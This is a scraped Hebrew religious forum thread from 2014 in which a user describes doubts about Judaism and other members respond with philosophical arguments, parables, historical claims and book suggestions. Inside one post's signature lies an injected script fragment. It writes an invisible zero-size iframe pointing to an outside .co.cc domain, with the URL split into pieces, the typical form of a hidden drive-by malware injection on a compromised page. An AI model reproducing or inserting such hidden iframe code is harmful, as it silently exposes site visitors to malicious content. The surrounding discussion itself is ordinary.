|
|
| נשלח ב-6/8/2014 15:45 |
 |
| |
| גושניק1 כתב: |  | | לא ממש מובן ממה ספקותיך נובעים- אם בגלל תורה ומדע, חוסר דבקות בקב״ה, תחושת זרות בחברה בה אתה חי, בוז ספציפי ליהדות שאולי נובע כפי שציין הרב(? באמת אינני יודע פעמים ראיתי שקוראים לו כך ופעמים לא) מיימוני. אני מניח שאני אוכל להציע לך פתרונות לכל אחת מהבעיות. פשוט אינני יודע מנה הן נובעות. אולי כדאי שתפרט בעיותיך. |
|
בא נתחיל מכך שכשנולדתי גיליתי את העולם וכך אני יודע שהוא קיים.
כשגדלתי אבי סיפר לי על הדת ואני לא רואה שום שוני ביני לבין ילד הודי או טיבטי שאביו מספר לו על אמונות השבט שלהם
הסיפור לא נשמע הגיוני ועקב כך זה מוביל לחוסר דבקות ותחושת זרות ובוז.
כל זה מבחינה הגיונית אבל אני מניח שייתכן שהדת נמצאת ברובד של התחושות ולא של ההגיון, אבל אז איך אדע להפריד את המוץ מהתבן כשאין לי את אמת המידה של ההגיון לברר את העניין
|
|
|
|
| נשלח ב-6/8/2014 15:50 |
|
| |
| מיימוני כתב: | | אריה
ברוך הבא אל הפורום!
לפני שאנו מבררים אם היהדות נכונה, יש לבדוק מה לדעתנו נכלל ב"יהדות", הלא כן?
הרשה לי למחזר שני סיפורים שרצים בפורום:
א. מעשה במרצה (מה שמכונה כאן "מחב"ת") שנתקל במבקר בהרצאה שהחל להשמיע טענות נגד אלוקים. דיבר ודיבר ודיבר והצביע על כל מיני חסרונות ואמונות שגויות ועוד. בסופו של דבר, ענה לו המרצה: זה בסדר, באלוהים הזה שלך גם אני לא מאמין...
ב. המשל המקורי הוא של המגיד מדובנא. מעשה בעשיר שהטיל על סבל לשאת מזוודה. הסבל ביקש טיפ גבוה כי המזוודה היתה כבדה. לתדהמתו, העשיר החל לבכות/להזעיק משטרה. מדוע? מפני שהמזוודה שלו נגנבה וזו אחרת. כי המזוודה שלו לא כבדה...
כלומר, אם היהדות כבדה לך, או שגויה בעיניך, אולי זו לא היהדות המקורית?
אז הצעד הראשון הוא לערוך רשימה של מה שאתה חושב שאמור להיות היהדות. ומשם נתקדם.
מה דעתך על:
יש אלוקים (וצריך להסביר למה הכוונה במילה הזו, וזה קשה מאד, פילוסופית).
אלוקים בחר בעם ישראל ונתן לו תורה.
אלוקים אוהב צדקה ומשפט וחסד.
יתכן שיש להוסיף עוד.
אני מוסיף כבר כעת: יתכן שיתברר לנו שיש אמונות מוסכמות ואמיתיות, אבל לגבי הוכחה, זה לא בדיוק מה שחשבנו. זאת בגלל שיש כל מיני הוכחות ורמות של הוכחות, והמילה הזו "הוכחה" אינה חד משמעית כפי שנוטים להאמין, וכן הטענה שיש הוכחות מוחלטות שאי אפשר להתוכח עמהן גם טענה זו לא מדוייקת. אבל יש מרחק בין "זה לא כמו שגדלתי להאמין" לבין "זה לא אמיתי"!
אז הבה ניגש למלאכה, כי אין חשובה ממנה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
לגבי אם יש אלוקים,האלוקים שאני מניח שהוא קיים הוא המציאות שמאפשרת את קיום העולם ולמרות שאינני מבין את מהותה אינני רואה צורך להניח שהיא יותר ממה שאני רואה כי זה כמו לעמוד מחוץ לחדר נעול ולנחש מה יש בו על סמך רצונותיי ודמיונותיי.
מציאות זו אין לה שום זיקה עם האנשות מעבר לעובדה שהיא מקיימת אותה (או בהגדרה דתית : המצוה שהיא מצווה אותנו לחיות) (וכן אם היא נתנה לנו כלים כמו רגש בסיסי של מוסריות וכו' או שכל שפועל עפ''י ההגיון הרי שמכיוון שאינני יותר מעצמי, אדע שאם ברצוני להיות מאושר ושלם עם עצמי עלי לציית לה, וגם זה בהגדרה דתית תיקרא : מצוה).
להניח שהוא בחר בעם ישראל ונתן לו תורה לדעתי היא לא הגיונית (יותר מובן לי הגיונית שהיה איש או קבוצה אידיאליסטית באנושות שברצונה שהאנושות תהיה מוסרית ויצרה את הדת ושזה התנפח למימדים מפלצתיים עד כ''כ שהדת נוגדת את הצו האלוקי הבסיסי) .
ולגבי אם הוא אוהב צדקה וחסד מצד אחד נוח לחשוב שכן, יש לזה גם טיעונים הגיוניים, אבל יש גם רוע בעולם, אז תאמר לי שרוע אינו נמדד לפי שפיטת הרגש וההגיון שלי? א''כ הרי כשאני נשאל אם הוא אוהב צדקה וחסד אני כן מתייחס לפי שפיטת הרגש וההגיון שלי וא''כ התשובה תהיה לא.
כל זה הוא בהנחה שאני בא לנתח את העניין מבחינה הגיונית , ויוצא מתוך נקודת הנחה שההגיון הוא המנווט בשיקול העניין. ואני ב99% שכך צריך להיות. אבל אני מניח שייתכן שמציאת האלוקים היא בתחושות ואז ההגיון אינו מהווה צד.
תוקן על ידי arye333 ב- 06/08/2014 15:51:49
תוקן על ידי arye333 ב- 06/08/2014 15:57:32
|
|
|
|
| נשלח ב-6/8/2014 16:06 |
|
| |
אריה,
א. יכול להיות שכדאי לנהל את הדיון בהדרגתיות. האם יש אלוקים? האם יש לו קשר לעולם? וכו'. בדיון הזה שהכול מונח על השולחן יש הרבה מקום לבלאגן. בינתיים אני אשאל אותך כמה שאלות על האמונות עליהן הצהרת.
ב. מניין לך שיש אל שמקיים את העולם? מדוע הוא מקיים את העולם?
ג. מניין לך שלאל הזה אין שום קשר עם האנושות? להוכיח אענה שלילית זו משימה מאוד קשה, ואני מתקשה להאמין שהוכחת את זה. ייתכן אולי שאתה מתכוון לומר שלא מצאת שום הוכחה לכך שיש לו קשר עם האנושות.
ד. הערה אחרונה לגבי הטיבטים. אכן, בתרבויות שונות הורים מספרים דברים שונים, אבל אני לא רואה כיצד אפשר להסיק מכאן שכולם טועים. בהחלט ייתכן שגם אם ההורים שלך טועים, הרי שההורים של הטיבטים צודקים. אנחנו צריכים לבדוק כל אמונה לגופה ולראות אם היא הגיונית ואם יש לה הוכחות. העובדה שהרבה אנשים מאמינים בדברים לא נכונים לא אומרת ששום דבר לא נכון. לך תדע, אולי אם תלמד קצת על הינדו תגלה שהאמת שם ותלך לעבוד את שיווה.
|
|
|
|
| נשלח ב-6/8/2014 16:32 |
|
| |
ליש3 :
לגבי ב. מניין לך שיש אל שמקיים את העולם? מדוע הוא מקיים את העולם?
כשאני אומר אלוקים אני מתכוון לפלטפורמה שמאפשרת קיום עולם חי, הדתיים יקראו לו אלוקים והאתאיסטים יקראו לזה הטבע אבל אינני מתעקש על ההגדרה, לגבי מדוע הוא מקיים את העולם, תשאל אותו,
לגבי ג. מניין לך שלאל הזה אין שום קשר עם האנושות? ייתכן אולי שאתה מתכוון לומר שלא מצאת שום הוכחה לכך שיש לו קשר עם האנושות.
אכן אני מתכוון לומר שמבחינה הגיונית זה יותר נראה לי (חוץ ממה שכתבתי)
לגבי ד. הערה אחרונה לגבי הטיבטים
אינני שולל את היהדות בגלל זה אני רק מתכוון לומר שזה לא מחייב אותי יותר מזה. אני יכול לבדוק את שניהם
ואני יכול לא לבדוק את שניהם. השאלה על מי חובת ההוכחה, או כל זמן שאין הוכחה באיזה דרך לבחור, ומכיוון שנראה לי שהדת לא הגיונית או שלפחות יש בה הרבה עיוותים ואני מתנהל כרגע עפ''י צו ההגיון שלי אינני רואה סיבה להאמין בכך
תוקן על ידי arye333 ב- 06/08/2014 16:33:39
תוקן על ידי arye333 ב- 06/08/2014 16:41:23
|
|
|
|
| נשלח ב-6/8/2014 16:51 |
|
| |
אריה
אתה מניח שהעולם צריך משהו שיקיים אותו. זאת מנין?
|
|
|
|
| נשלח ב-6/8/2014 17:07 |
|
| |
| יש3 כתב: | | אריה
אתה מניח שהעולם צריך משהו שיקיים אותו. זאת מנין? |
|
יש לאדם תחושה שאם דבר יכול להיות ולא להיות יש למצוא הסבר לקיומו, והאדם תוהה איך זה קיים אני לא יודע אם זו אמת אבסולוטית או סתם תחושה, עכ''פ מכאן.
תוקן על ידי arye333 ב- 06/08/2014 17:08:43
תוקן על ידי arye333 ב- 06/08/2014 17:20:00
|
|
|
|
| נשלח ב-6/8/2014 17:26 |
|
| |
אז בעצם השאלה הראשונה שאתה צריך לשאול היא אם יש ישות שמקיימת את העולם (במילים אחרות: אל).
כאן השאלה היא אם אפשר להניח את קיומו של העולם ללא תכנון תבוני. אתה אומר שאתה לא יודע אם אצלך זו אמת אבסולוטית או סתם תחושה.
לעומת זאת נראה שקיומו של העולם הוא בעיניך אמת אבסולוטית ולא תחושה; אז זו נקודה שממנה אפשר להתחיל. ההנחה שהעולם קיים מניחה שיש התאמה בין החושים שלנו לבין המציאות האמיתית. השאלה היא מה יכול לגרום להתאמה הזו. אבולוציה וכד' אינה יכולה להיות תשובה טובה כי היא מבוססת על ההנחה שהעולם באמת קיים.
|
|
|
|
| נשלח ב-6/8/2014 17:47 |
|
| |
שלושה הערות לדברי מיימוני.
בעצם מקופלת בתשובתו הטענה כי האלוהים עליו גדלת אינו האל היהודי המקורי וכי המקורי יפתור לך כל או חלק מבעיותיך.
1. למה? למה לחפש אל אחר? נקודת המוצא של הכותב (ושל הרבה אחרים כאן) היא רצון לבדוק ולאמת את דת השכונה בה גדלו. ככל והיא אינה אמת, הצעתך לאמץ אל אחר אינה שונה מהצעה לאמץ את הדת הטיבטית.
2. מאחר ובסופו של יום גם אותו אל על פי מיימוני מקורו ב"חוויות" או רגשות, מה רבותא בהאי מהאי?
3. וכדברי ייתכן שני אלים שונים, פילוסופיה הרחוקה כרחוק מזרח ממערב ולבסוף בשניהם הגענו אל אותה דת השכונה.
|
|
|
|
| נשלח ב-6/8/2014 18:49 |
|
| |
| arye333 כתב: | | אתן לך דוגמא : נגיד ובן אדם דתי רואה סרט של נשיונל גיאגרפיק, ורואה איך ברדלס טורף עופר איילים טהור, ואימו מבכה אותו.
אח''כ הוא מתיישב לאכול בשר בהמה או עוף, ופתאום הוא קולט שאין הוא שונה מהטורף שבטבע, והעניין מתחיל להציק לו. אבל מצד שני הוא יודע שבתורה זה דבר מותר ולפעמים (לצורך מצוה) אף רצוי (מילא בגישה החסידית שהוא מתקן בכך ענינים גבוהים..) . ותסכים איתי שבן אדם נורמטיבי בחברה החרדית שמתנזר מבשר עקב כך הוא תמהוני. וגם אדם זה, בד''כ וזה תלוי ברמת הרצינות שלו יתעלם מהעניין במשיכת כתף של, נו, כולם עושים כך, אני אהיה תמהוני?
וכך הוא מדחיק את זה. כך שאני חושב שחיי הדת אינם כ''כ אישיים ודי מושפעים מהחברה והוא עבד לחברה עוד יותר מבחברה הכללית כי חילוני בגלל שאין לו את המסגרת כמו אצל החרדי יש לו פחות מחויבות |
|
ולכן ביהדות אסור היה בעלי חיים עד המבול.
מאז המבול (אפי' שלא היה מבול כפי שלמדנו בחידר) החליטו להתיר בעלי חיים טהורות (לא טורפות) כי הם במילא נטרפים כך שזה מין הסכם עם מין האנושי שהם נותנים להם בית ומחסה והגנה מהג'ונגל, ואנו מקבלים מהם צמר חלב ואת הבשר אחרי מותם (הבעיה של נבלה היא בעיה בריאותית ולכן ההנחה היית שהאדם ישחט את הבעל חיים יום לפני שהוא מת = נבלה)
אז בעיקרון התורה אוסרת כמו עד המבול, רק כתשובה לאכילת בשר אדם התירו בשר בעלי חיים לא טורפות שבמילא נטרפות כמו הדגים עם הקשקשים. אם אני לא אוכל אז הדולפין יאכל, אז מה ההבדל ? במיוחד שאחרת יאכלו בשר ילדי כפי שהיה בזמנם לפני המבול.
זה רוח הדברים של היהדות. מה שאין כן כל האוכלים בעלי חיים ששורדים במילא בג'ונגל כמו בעלי חיים טורפות ?! באמת צריכים לשאול את עצמם באיזה זכות הם עושים את זה ?
אני מקווה שהצלחתי להסביר את רוח הדברים.
|
|
|
|
| נשלח ב-6/8/2014 20:21 |
|
| |
לשואל: יש הרבה סיבות להאמין דווקא ביהדות. א) הישרדות הפלאית של עם ישראל אלפיים שנים בגולה. ניסי הנסים שנעשו לנו במאה האחרונה, דברים שלא קרו לשום עם בשום תקופה בהיסטוריה- התקיימות כל דברי הנביאים שלנו, קיבוץ נדחי ישראל מכל מקום בעולם אפילו מאתיופיה שם הם היו בגלות עוד מלפני חורבן הבית הראשון-2700 שנים וכן צאצאי המנשה בהודו- אני לא מבין איך יהודי יכול שלא לראות זאת. ב) כל מי שמכיר את התרבות של המזרח הקדום מבין שדבר כמו בתורה והנ״ך לא יכול היה להיכתב על ידי אנשים רגילים- דברים שגם חוקרים אומרים. העובדה שהתורה מספרת לנו על חטאי העם, המנהיגים, הגיבורים שלנו, אפילו דוד המלך, אלו דברים שלא היו קיימים בערך עד המאה העשרים וכל חוקר מקרא יודע כמה המקרא הוא חריג ומיוחד בעולם העתיק.
יש כמובן עוד נימוקים. אבל נראה לי שעיקר הבעיה אצלך( אם יורשה לי הקטן לנסות לומר) היא בבחינת דברי הנביא ״הגוי לא נכסף״- אין לך כיסופים לקב״ה דבקות רצון לרוץ אחריו. אם זה נכון נראה לי שכדאי לך לקרוא את הספר אחריך נרוצה של הרב יובל שרלו,ספרי הרב סבתו( שהוא נחשב הסופר הכי טוב במדינה היום- נראה לי כדאי לך ״כעפעפי שחר״) לקרוא את ספרי הרב קוק או לשמוע שיעורים על ספריו( באתר של ישיבת ברכת משה יש שיעורים של הרב שילת ובערוץ מאיר אני יודע שהרב שרקי מפורסם ואהוד והרב לונדין). נראה לי שאת ספרי הרב שרלו והרב סבתו אתה מאד תאהב.
לסיום הרב קוק כידוע וכמפורסם כתב את ״חזון הצמחונות והשלום״ וראה גם פה http://www.kipa.co.il/now/57575.html
 |
|
|
|
|
| נשלח ב-6/8/2014 22:23 |
|
| |
ניסית פעם להקשיב באובייקיביות לעצמך כשאתה מדבר על א.ב. דלעיל.
|
|
|
|
| נשלח ב-7/8/2014 18:00 |
|
| |
| למינגית כתב: | |
אף אחד עוד לא הצליח להוכיח ש'יש'.
מנגד, אף אחד לא הצליח להוכיח ש'אין'.
(שב כמה לילות, קרא בעיון את כל האשכולות בפורום, בעיקר הישנים שביניהם, ותגיע למסקנה הזו).
|
|
היי
אם אף אחד בפורום לא הצליח להוכיח שיש - סימן שאי אפשר?
אם אף אחד בפורום לא הצליח להוכיח שאין - סימן שאי אפשר?
הייתכן שיש בעולם דברים שאינם בפורום הזה, או שהוא חזות הכל?????
|
|
|
|
|
| נשלח ב-7/8/2014 18:20 |
|
| |
הפורום הזה הוא חזות הפורום הזה.
אם להסביר את למינגית: היא גם חשבה פעם שהפורום יעזור לה להוכיח, והתבדתה.
|
|
|
|
| נשלח ב-7/8/2014 22:24 |
|
| |
כמו שפתי אמר.
|
|
|
|
|
